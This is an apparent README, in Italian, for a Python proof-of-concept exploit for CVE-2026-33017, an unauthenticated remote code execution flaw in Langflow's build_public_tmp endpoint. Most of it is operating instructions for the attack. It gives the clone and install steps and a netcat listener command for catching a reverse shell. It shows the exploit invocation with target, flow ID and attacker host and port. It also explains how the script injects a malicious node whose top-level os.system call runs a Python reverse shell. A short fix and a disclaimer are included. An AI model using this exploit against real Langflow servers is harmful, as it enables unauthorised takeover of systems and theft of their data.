
POC Python, Exploit per CVE-2026-33017
⚠️ AVVERTENZA: Questo repository è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. Utilizzare solo su sistemi di cui si è proprietari o su cui si ha esplicita autorizzazione al test. L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
CVE-2026-33017 è una vulnerabilità di esecuzione remota di codice senza autenticazione in Langflow, un framework visivo per creare applicazioni LangChain.
L'endpoint POST /api/v1/build_public_tmp/{flow_id}/flow consente di creare flussi pubblici senza autenticazione. Quando viene fornito il parametro opzionale data, l'endpoint utilizza i dati del flusso controllati dall'attaccante (contenenti codice Python arbitrario nelle definizioni dei nodi) invece dei dati del flusso memorizzati nel database. Questo codice viene passato a exec() senza alcuna sandbox, provocando l'esecuzione remota di codice non autenticata.
client_id (qualsiasi valore stringa arbitrario)git clone https://github.com/<your-username>/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
Sulla tua macchina attaccante, avvia un listener netcat per catturare la reverse shell:
nc -lvnp 4444
python3 CVE-2026-33017.py --url http://target:7860 --flow-id <UUID> --lhost <YOUR_IP> --lport 4444
# Terminale 1: Avvia il listener
nc -lvnp 4444
# Terminale 2: Lancia l'exploit
python3 CVE-2026-33017.py \
--url http://192.168.1.100:7860 \
--flow-id 550e8400-e29b-41d4-a716-446655440000 \
--lhost 10.0.0.5 \
--lport 4444
craft_malicious_node() — Costruisce un nodo Langflow malevolo contenente un CustomComponent con codice Python controllato dall'attaccante. Il codice include una chiamata os.system() a livello superiore che viene eseguita durante la costruzione del grafo (prima ancora che il flusso "venga eseguito").
fire_payload() — Invia il nodo malevolo come JSON all'endpoint non autenticato build_public_tmp con un cookie client_id casuale.
Esecuzione del codice — Il server analizza i dati del flusso forniti dall'attaccante, istanzia il componente personalizzato e chiama exec() sul codice incorporato durante prepare_global_scope(). L'assegnazione a livello superiore _r = __import__('os').system(...) attiva immediatamente l'esecuzione del comando.
Reverse Shell — Il payload genera una reverse shell Python che si connette al tuo listener.
L'endpoint build_public_tmp è progettato per essere non autenticato (per flussi pubblici), ma accetta erroneamente dati del flusso forniti dall'attaccante tramite il parametro data. Quando viene fornito data, bypassa i dati del flusso memorizzati e passa i nodi controllati dall'attaccante direttamente al costruttore del grafo.
Rimuovere il parametro data da build_public_tmp. I flussi pubblici dovrebbero eseguire solo i propri dati di flusso memorizzati nel database, mai dati forniti dall'attaccante.
Questo progetto è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.
| Argomento | Richiesto | Descrizione |
|---|
--url | Sì | URL del bersaglio (es. http://localhost:7860) |
--flow-id | Sì | UUID del flusso pubblico |
--lhost | Sì | Il tuo indirizzo IP del listener |
--lport | Sì | La tua porta del listener |
--timeout | No | Timeout della richiesta in secondi (default: 15) |